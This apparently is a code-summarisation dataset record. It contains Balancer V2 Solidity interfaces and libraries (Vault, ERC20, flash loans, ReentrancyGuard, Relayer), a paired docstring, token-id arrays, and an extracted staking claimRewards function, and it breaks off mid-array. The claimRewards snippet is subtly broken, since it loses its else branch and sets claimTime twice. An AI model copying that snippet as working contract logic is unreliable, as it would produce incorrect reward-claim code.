* If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of
* transferred. This matches the behavior of `exitPool`.
*
* Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a
* revert.
*/
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
/**
* @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be
* simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result.
*
* Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH)
* the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it
* receives are the same that an equivalent `batchSwap` call would receive.
*
* Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct.
* This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens,
* approve them for the Vault, or even know a user's address.
*
* Note that this function is not 'view' (due to implementation details): the client code must explicitly execute
* eth_call instead of eth_sendTransaction.
*/
function queryBatchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds
) external returns (int256[] memory assetDeltas);
// Flash Loans
/**
* @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it,
* and then reverting unless the tokens plus a proportional protocol fee have been returned.
*
* The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount
* for each token contract. `tokens` must be sorted in ascending order.
*
* The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the
* `receiveFlashLoan` call.
*
* Emits `FlashLoan` events.
*/
function flashLoan(
IFlashLoanRecipient recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
/**
* @dev Emitted for each individual flash loan performed by `flashLoan`.
*/
event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount);
// Asset Management
//
// Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's
// tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see
// `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly
// controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the
// prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore
// not constrained to the tokens they are managing, but extends to the entire Pool's holdings.
//
// However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit,
// for example by lending unused tokens out for interest, or using them to participate in voting protocols.
//
// This concept is unrelated to the IAsset interface.
/**
* @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates.
*
* Pool Balance management features batching, which means a single contract call can be used to perform multiple
* operations of different kinds, with different Pools and tokens, at once.
*
* For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`.
*/
function managePoolBalance(PoolBalanceOp[] memory ops) external;
struct PoolBalanceOp {
PoolBalanceOpKind kind;
bytes32 poolId;
IERC20 token;
uint256 amount;
}
/**
* Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged.
*
* Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged.
*
* Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total.
* The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss).
*/
enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE }
/**
* @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`.
*/
event PoolBalanceManaged(
bytes32 indexed poolId,
address indexed assetManager,
IERC20 indexed token,
int256 cashDelta,
int256 managedDelta
);
// Protocol Fees
//
// Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by
// permissioned accounts.
//
// There are two kinds of protocol fees:
//
// - flash loan fees: charged on all flash loans, as a percentage of the amounts lent.
//
// - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including
// swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather,
// Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the
// Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as
// exiting a Pool in debt without first paying their share.
/**
* @dev Returns the current protocol fee module.
*/
function getProtocolFeesCollector() external view returns (IProtocolFeesCollector);
/**
* @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an
* error in some part of the system.
*
* The Vault can only be paused during an initial time period, after which pausing is forever disabled.
*
* While the contract is paused, the following features are disabled:
* - depositing and transferring internal balance
* - transferring external balance (using the Vault's allowance)
* - swaps
* - joining Pools
* - Asset Manager interactions
*
* Internal Balance can still be withdrawn, and Pools exited.
*/
function setPaused(bool paused) external;
/**
* @dev Returns the Vault's WETH instance.
*/
function WETH() external view returns (IWETH);
// solhint-disable-previous-line func-name-mixedcase
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero
* address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like
* types.
*
* This concept is unrelated to a Pool's Asset Managers.
*/
interface IAsset {
// solhint-disable-previous-line no-empty-blocks
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the SignatureValidator helper, used to support meta-transactions.
*/
interface ISignaturesValidator {
/**
* @dev Returns the EIP712 domain separator.
*/
function getDomainSeparator() external view returns (bytes32);
/**
* @dev Returns the next nonce used by an address to sign messages.
*/
function getNextNonce(address user) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the TemporarilyPausable helper.
*/
interface ITemporarilyPausable {
/**
* @dev Emitted every time the pause state changes by `_setPaused`.
*/
event PausedStateChanged(bool paused);
/**
* @dev Returns the current paused state.
*/
function getPausedState()
external
view
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthorizer {
/**
* @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`.
*/
function canPerform(
bytes32 actionId,
address account,
address where
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// Inspired by Aave Protocol's IFlashLoanReceiver.
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
interface IFlashLoanRecipient {
/**
* @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient.
*
* At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this
* call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the
* Vault, or else the entire flash loan will revert.
*
* `userData` is the same value passed in the `IVault.flashLoan` call.
*/
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "./IVault.sol";
import "./IAuthorizer.sol";
interface IProtocolFeesCollector {
event SwapFeePercentageChanged(uint256 newSwapFeePercentage);
event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage);
function withdrawCollectedFees(
IERC20[] calldata tokens,
uint256[] calldata amounts,
address recipient
) external;
function setSwapFeePercentage(uint256 newSwapFeePercentage) external;
function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external;
function getSwapFeePercentage() external view returns (uint256);
function getFlashLoanFeePercentage() external view returns (uint256);
function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts);
function getAuthorizer() external view returns (IAuthorizer);
function vault() external view returns (IVault);
}
// SPDX-License-Identifier: MIT
// Based on the Address library from OpenZeppelin Contracts, altered by removing the `isContract` checks on
// `functionCall` and `functionDelegateCall` in order to save gas, as the recipients are known to be contracts.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
_require(address(this).balance >= amount, Errors.ADDRESS_INSUFFICIENT_BALANCE);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
_require(success, Errors.ADDRESS_CANNOT_SEND_VALUE);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.call(data);
return verifyCallResult(success, returndata);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata);
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling up the
* revert reason or using the one provided.
*
* _Available since v4.3._
*/
function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
_revert(Errors.LOW_LEVEL_CALL_FAILED);
}
}
}
}
// SPDX-License-Identifier: MIT
// Based on the ReentrancyGuard library from OpenZeppelin Contracts, altered to reduce bytecode size.
// Modifier code is inlined by the compiler, which causes its code to appear multiple times in the codebase. By using
// private functions, we achieve the same end result with slightly higher runtime gas costs, but reduced bytecode size.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_enterNonReentrant();
_;
_exitNonReentrant();
}
function _enterNonReentrant() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
_require(_status != _ENTERED, Errors.REENTRANCY);
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _exitNonReentrant() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/Address.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ReentrancyGuard.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol";
/**
* @title IBalancerRelayer
* @notice Allows safe multicall execution of a relayer's functions
*/
interface IBalancerRelayer {
function getLibrary() external view returns (address);
function getVault() external view returns (IVault);
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/Address.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ReentrancyGuard.sol";
import "../interfaces/IBalancerRelayer.sol";
/**
* @title Balancer Relayer
* @notice Allows safe multicall execution of a relayer's functions
* @dev
* Relayers are formed out of a system of two contracts:
* - This contract which acts as a single point of entry into the system through a multicall function
* - A library contract which defines the allowed behaviour of the relayer
*
* The relayer entrypoint can then repeatedly delegatecall into the library's code to perform actions.
* We can then run combinations of the library contract's functions in the context of the relayer entrypoint
* without having to expose all these functions on the entrypoint contract itself. The multicall function is
* then a single point of entry for all actions which can be easily protected against reentrancy.
*
* This design gives much stronger reentrancy guarantees as otherwise a malicious contract could reenter
* the relayer through another function (which must allow reentrancy for multicall logic) which would
* potentially allow them to manipulate global state resulting in loss of funds in some cases.
* e.g. sweeping any leftover ETH which should have been refunded to the user.
*
* NOTE: Only the entrypoint contract should be whitelisted by Balancer governance as a relayer and so the Vault
* will reject calls made if they are not being run from within the context of the entrypoint.
* e.g. in the case where a user mistakenly calls into the library contract directly.
*/
contract BalancerRelayer is IBalancerRelayer, ReentrancyGuard {
using Address for address payable;
using Address for address;
IVault private immutable _vault;
address private immutable _library;
/**
* @dev This contract is not meant to be deployed directly by an EOA, but rather during construction of a child of
* `BaseRelayerLibrary` which will provides its own address to be used as the relayer's library.
*/
constructor(IVault vault, address libraryAddress) {
_vault = vault;
_library = libraryAddress;
}
receive() external payable {
// Accept ETH transfers only coming from the Vault. This is expected to happen due to a swap/exit/withdrawal
// with ETH as an output should the relayer be listed as the recipient. This may also happen when
// joining a pool, performing a swap or managing a user's balance does not use the full ETH value provided.
// Any excess ETH value will be refunded back to this contract and forwarded back to the original sender.
_require(msg.sender == address(_vault), Errors.ETH_TRANSFER);
}
function getVault() external view override returns (IVault) {
return _vault;
}
function getLibrary() external view override returns (address) {
return _library;
}
function multicall(bytes[] calldata data) external payable override nonReentrant returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = _library.functionDelegateCall(data[i]);
}
_refundETH();
}
function _refundETH() private {
uint256 remainingEth = address(this).balance;
if (remainingEth > 0) {
msg.sender.sendValue(remainingEth);
}
}
}
|
* @dev Contract module that helps prevent reentrant calls to a function. Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier available, which can be applied to functions to make sure there are no nested (reentrant) calls to them. Note that because there is a single `nonReentrant` guard, functions marked as `nonReentrant` may not call one another. This can be worked around by making those functions `private`, and then adding `external` `nonReentrant` entry points to them. TIP: If you would like to learn more about reentrancy and alternative ways to protect against it, check out our blog post/ Booleans are more expensive than uint256 or any type that takes up a full word because each write operation emits an extra SLOAD to first read the slot's contents, replace the bits taken up by the boolean, and then write back. This is the compiler's defense against contract upgrades and pointer aliasing, and it cannot be disabled. The values being non-zero value makes deployment a bit more expensive, but in exchange the refund on every call to nonReentrant will be lower in amount. Since refunds are capped to a percentage of the total transaction's gas, it is best to keep them low in cases like this one, to increase the likelihood of the full refund coming into effect.
|
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
_enterNonReentrant();
_;
_exitNonReentrant();
}
function _enterNonReentrant() private {
_require(_status != _ENTERED, Errors.REENTRANCY);
_status = _ENTERED;
}
function _exitNonReentrant() private {
_status = _NOT_ENTERED;
}
}
| 140,673 |
[
1,
8924,
1605,
716,
21814,
5309,
283,
8230,
970,
4097,
358,
279,
445,
18,
25953,
310,
628,
1375,
426,
8230,
12514,
16709,
68,
903,
1221,
326,
288,
5836,
426,
8230,
970,
97,
9606,
2319,
16,
1492,
848,
506,
6754,
358,
4186,
358,
1221,
3071,
1915,
854,
1158,
4764,
261,
2842,
313,
970,
13,
4097,
358,
2182,
18,
3609,
716,
2724,
1915,
353,
279,
2202,
1375,
5836,
426,
8230,
970,
68,
11026,
16,
4186,
9350,
487,
1375,
5836,
426,
8230,
970,
68,
2026,
486,
745,
1245,
4042,
18,
1220,
848,
506,
28613,
6740,
635,
10480,
5348,
4186,
1375,
1152,
9191,
471,
1508,
6534,
1375,
9375,
68,
1375,
5836,
426,
8230,
970,
68,
1241,
3143,
358,
2182,
18,
399,
2579,
30,
971,
1846,
4102,
3007,
358,
16094,
1898,
2973,
283,
8230,
12514,
471,
10355,
16226,
358,
17151,
5314,
518,
16,
866,
596,
3134,
10700,
1603,
19,
605,
11887,
634,
854,
1898,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
17801,
6835,
868,
8230,
12514,
16709,
288,
203,
203,
565,
2254,
5034,
3238,
5381,
389,
4400,
67,
12278,
2056,
273,
404,
31,
203,
565,
2254,
5034,
3238,
5381,
389,
12278,
2056,
273,
576,
31,
203,
203,
565,
2254,
5034,
3238,
389,
2327,
31,
203,
203,
203,
203,
565,
3885,
1435,
288,
203,
3639,
389,
2327,
273,
389,
4400,
67,
12278,
2056,
31,
203,
565,
289,
203,
203,
565,
9606,
1661,
426,
8230,
970,
1435,
288,
203,
3639,
389,
2328,
3989,
426,
8230,
970,
5621,
203,
3639,
389,
31,
203,
3639,
389,
8593,
3989,
426,
8230,
970,
5621,
203,
565,
289,
203,
203,
565,
445,
389,
2328,
3989,
426,
8230,
970,
1435,
3238,
288,
203,
3639,
389,
6528,
24899,
2327,
480,
389,
12278,
2056,
16,
9372,
18,
862,
2222,
54,
1258,
16068,
1769,
203,
203,
3639,
389,
2327,
273,
389,
12278,
2056,
31,
203,
565,
289,
203,
203,
565,
445,
389,
8593,
3989,
426,
8230,
970,
1435,
3238,
288,
203,
3639,
389,
2327,
273,
389,
4400,
67,
12278,
2056,
31,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xe329729aE995d3973B985A52EEBC49114bB2e054/sources/contracts/stake.sol
|
Update user claim time
|
function claimRewards() external nonReentrant {
require(userAccount[msg.sender].allocatedBalance > 0, "Balance must be > 0");
uint256 _claimAmount = _fetchUserReward(msg.sender);
require(_claimAmount <= _contractBalance(), "Contract balance too low.");
if(block.timestamp >= stakeRewardEndTime){
userAccount[msg.sender].claimTime = stakeRewardEndTime;
userAccount[msg.sender].claimTime = block.timestamp;
}
_increaseClaimed(_claimAmount);
IERC20(token).transfer(msg.sender, _claimAmount);
}
| 9,782,986 |
[
1,
1891,
729,
7516,
813,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7516,
17631,
14727,
1435,
3903,
1661,
426,
8230,
970,
288,
203,
3639,
2583,
12,
1355,
3032,
63,
3576,
18,
15330,
8009,
28172,
13937,
405,
374,
16,
315,
13937,
1297,
506,
405,
374,
8863,
203,
203,
3639,
2254,
5034,
389,
14784,
6275,
273,
389,
5754,
1299,
17631,
1060,
12,
3576,
18,
15330,
1769,
203,
3639,
2583,
24899,
14784,
6275,
1648,
389,
16351,
13937,
9334,
315,
8924,
11013,
4885,
4587,
1199,
1769,
203,
203,
3639,
309,
12,
2629,
18,
5508,
1545,
384,
911,
17631,
1060,
25255,
15329,
203,
5411,
729,
3032,
63,
3576,
18,
15330,
8009,
14784,
950,
273,
384,
911,
17631,
1060,
25255,
31,
203,
5411,
729,
3032,
63,
3576,
18,
15330,
8009,
14784,
950,
273,
1203,
18,
5508,
31,
203,
3639,
289,
203,
203,
3639,
389,
267,
11908,
9762,
329,
